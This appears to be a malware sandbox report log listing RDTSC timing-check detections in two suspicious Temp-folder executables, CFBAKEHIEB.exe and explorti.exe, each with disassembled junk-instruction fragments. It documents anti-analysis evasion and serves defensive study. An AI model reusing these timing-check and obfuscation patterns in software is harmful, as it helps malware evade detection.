Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80B77 second address: 4B80B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B80B7B second address: 4B80B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4C006E2 second address: 4C006F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4C006F1 second address: 4C0073F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cl, bh 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007F12E108FDC5h 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push edx 0x00000019 pop ecx 0x0000001a jmp 00007F12E108FDBFh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4C0073F second address: 4C00745 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4C00745 second address: 4C00749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4C00749 second address: 4C0074D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4C0074D second address: 4C00786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F12E108FDC7h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F12E108FDC5h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BF0A22 second address: 4BF0A31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BF0A31 second address: 4BF0A55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BF0A55 second address: 4BF0A5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BF0A5B second address: 4BF0A9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F12E108FDBBh 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushad 0x00000012 push edi 0x00000013 pop eax 0x00000014 popad 0x00000015 jmp 00007F12E108FDBDh 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov cl, bh 0x00000022 movzx ecx, bx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BF0A9C second address: 4BF0AAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F12E0FAFC7Dh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BF0AAD second address: 4BF0AB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BF08BD second address: 4BF092C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F12E0FAFC87h 0x00000009 add eax, 03F7071Eh 0x0000000f jmp 00007F12E0FAFC89h 0x00000014 popfd 0x00000015 mov ecx, 1262A0E7h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F12E0FAFC7Fh 0x00000028 jmp 00007F12E0FAFC83h 0x0000002d popfd 0x0000002e pushad 0x0000002f popad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BF092C second address: 4BF0932 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BF0932 second address: 4BF0936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BF0936 second address: 4BF093A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B9024C second address: 4B90264 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B90264 second address: 4B902AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c mov dx, BBE6h 0x00000010 pop edx 0x00000011 push eax 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushfd 0x0000001b jmp 00007F12E108FDBBh 0x00000020 sbb ah, 0000006Eh 0x00000023 jmp 00007F12E108FDC9h 0x00000028 popfd 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B902AD second address: 4B902E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F12E0FAFC87h 0x00000009 mov ah, 15h 0x0000000b pop edx 0x0000000c popad 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F12E0FAFC87h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BF0C18 second address: 4BF0C1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BF0C1E second address: 4BF0C22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BF0C22 second address: 4BF0C4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx edx, ax 0x00000012 mov cx, 7035h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BF0D1B second address: 4BF0D23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx eax, di 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BF0D23 second address: 4BF0D32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F12E108FDBBh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BF0D32 second address: 4BF0D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 59845E second address: 598464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 598625 second address: 598629 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0723 second address: 4BA0729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0729 second address: 4BA073B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov cx, di 0x0000000f mov esi, edi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA073B second address: 4BA074E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 87h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bh, ah 0x0000000e mov dx, 1856h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA074E second address: 4BA07A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, dx 0x00000006 mov edi, 74E88D3Ah 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F12E0FAFC87h 0x00000017 add cl, FFFFFF8Eh 0x0000001a jmp 00007F12E0FAFC89h 0x0000001f popfd 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 popad 0x00000027 push FFFFFFFEh 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c mov dh, F0h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA07A3 second address: 4BA084D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, A24Ch 0x00000007 pushfd 0x00000008 jmp 00007F12E108FDC5h 0x0000000d adc ecx, 145B3F26h 0x00000013 jmp 00007F12E108FDC1h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push 1509C227h 0x00000021 jmp 00007F12E108FDC7h 0x00000026 add dword ptr [esp], 61EEFDF1h 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007F12E108FDC4h 0x00000034 adc cl, 00000028h 0x00000037 jmp 00007F12E108FDBBh 0x0000003c popfd 0x0000003d push eax 0x0000003e push edx 0x0000003f pushfd 0x00000040 jmp 00007F12E108FDC6h 0x00000045 xor cx, C588h 0x0000004a jmp 00007F12E108FDBBh 0x0000004f popfd 0x00000050 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA084D second address: 4BA0961 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a call 00007F12E0FAFC79h 0x0000000f pushad 0x00000010 mov ax, D93Dh 0x00000014 pushfd 0x00000015 jmp 00007F12E0FAFC7Ah 0x0000001a adc si, DB18h 0x0000001f jmp 00007F12E0FAFC7Bh 0x00000024 popfd 0x00000025 popad 0x00000026 push eax 0x00000027 jmp 00007F12E0FAFC89h 0x0000002c mov eax, dword ptr [esp+04h] 0x00000030 pushad 0x00000031 pushad 0x00000032 mov ebx, 766CCB90h 0x00000037 pushfd 0x00000038 jmp 00007F12E0FAFC89h 0x0000003d sbb ah, 00000016h 0x00000040 jmp 00007F12E0FAFC81h 0x00000045 popfd 0x00000046 popad 0x00000047 push esi 0x00000048 jmp 00007F12E0FAFC87h 0x0000004d pop ecx 0x0000004e popad 0x0000004f mov eax, dword ptr [eax] 0x00000051 jmp 00007F12E0FAFC86h 0x00000056 mov dword ptr [esp+04h], eax 0x0000005a jmp 00007F12E0FAFC7Bh 0x0000005f pop eax 0x00000060 jmp 00007F12E0FAFC86h 0x00000065 mov eax, dword ptr fs:[00000000h] 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007F12E0FAFC87h 0x00000072 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0961 second address: 4BA0967 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0967 second address: 4BA096B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA096B second address: 4BA0A18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F12E108FDC6h 0x00000011 push eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F12E108FDC1h 0x00000019 sub esi, 16B00FA6h 0x0000001f jmp 00007F12E108FDC1h 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007F12E108FDC0h 0x0000002b or esi, 2F458D48h 0x00000031 jmp 00007F12E108FDBBh 0x00000036 popfd 0x00000037 popad 0x00000038 nop 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007F12E108FDBBh 0x00000042 and ax, 5F8Eh 0x00000047 jmp 00007F12E108FDC9h 0x0000004c popfd 0x0000004d mov eax, 1BE57A97h 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0A18 second address: 4BA0A32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 1Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0A32 second address: 4BA0A36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0A36 second address: 4BA0A3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0A3C second address: 4BA0AC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b pushad 0x0000000c mov edx, ecx 0x0000000e jmp 00007F12E108FDC8h 0x00000013 popad 0x00000014 push ecx 0x00000015 pushfd 0x00000016 jmp 00007F12E108FDC1h 0x0000001b jmp 00007F12E108FDBBh 0x00000020 popfd 0x00000021 pop eax 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007F12E108FDBBh 0x0000002d and ecx, 0784BDBEh 0x00000033 jmp 00007F12E108FDC9h 0x00000038 popfd 0x00000039 movzx eax, di 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0AC5 second address: 4BA0AE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F12E0FAFC89h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0AE2 second address: 4BA0AE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0AE6 second address: 4BA0B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007F12E0FAFC7Dh 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F12E0FAFC7Dh 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0B0C second address: 4BA0B30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F12E108FDBCh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0B30 second address: 4BA0B57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F12E0FAFC85h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0B57 second address: 4BA0B5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0B5D second address: 4BA0B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0B61 second address: 4BA0B81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F12E108FDC1h 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0B81 second address: 4BA0B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0B86 second address: 4BA0B8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0B8C second address: 4BA0B90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0C75 second address: 4BA0C79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0C79 second address: 4BA0C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0C7F second address: 4BA0C9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0C9D second address: 4BA0CA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0CA3 second address: 4BA0CA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0CA9 second address: 4BA0CAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0CAD second address: 4BA0CB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0CB1 second address: 4BA0D3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F13532BECE1h 0x0000000e pushad 0x0000000f mov eax, 52E8585Fh 0x00000014 call 00007F12E0FAFC84h 0x00000019 mov ax, A161h 0x0000001d pop esi 0x0000001e popad 0x0000001f mov eax, 00000000h 0x00000024 pushad 0x00000025 pushad 0x00000026 mov ebx, ecx 0x00000028 pushfd 0x00000029 jmp 00007F12E0FAFC82h 0x0000002e or ax, DF28h 0x00000033 jmp 00007F12E0FAFC7Bh 0x00000038 popfd 0x00000039 popad 0x0000003a mov ecx, 025CFC1Fh 0x0000003f popad 0x00000040 mov dword ptr [ebp-20h], eax 0x00000043 jmp 00007F12E0FAFC82h 0x00000048 mov ebx, dword ptr [esi] 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d call 00007F12E0FAFC7Ch 0x00000052 pop ecx 0x00000053 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0D3A second address: 4BA0D83 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F12E108FDC7h 0x0000000c sub si, 2E7Eh 0x00000011 jmp 00007F12E108FDC9h 0x00000016 popfd 0x00000017 popad 0x00000018 mov dword ptr [ebp-24h], ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0D83 second address: 4BA0D89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0D89 second address: 4BA0DB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test ebx, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F12E108FDC7h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0DB8 second address: 4BA0DD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F12E0FAFC84h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0DD0 second address: 4BA0DD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0DD4 second address: 4BA0DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F13532BEB17h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F12E0FAFC7Ah 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0DEE second address: 4BA0E00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F12E108FDBEh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA02F2 second address: 4BA02F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA02F8 second address: 4BA02FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA02FC second address: 4BA030E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov cl, bl 0x0000000e movzx eax, di 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	RDTSC instruction interceptor: First address: 82FEAB second address: 82FEBD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F12E108FDBAh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	RDTSC instruction interceptor: First address: 818303 second address: 818313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F12E0FAFC7Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	RDTSC instruction interceptor: First address: 82EFE5 second address: 82EFF8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F12E108FDBBh 0x0000000c pop esi 0x0000000d rdtsc
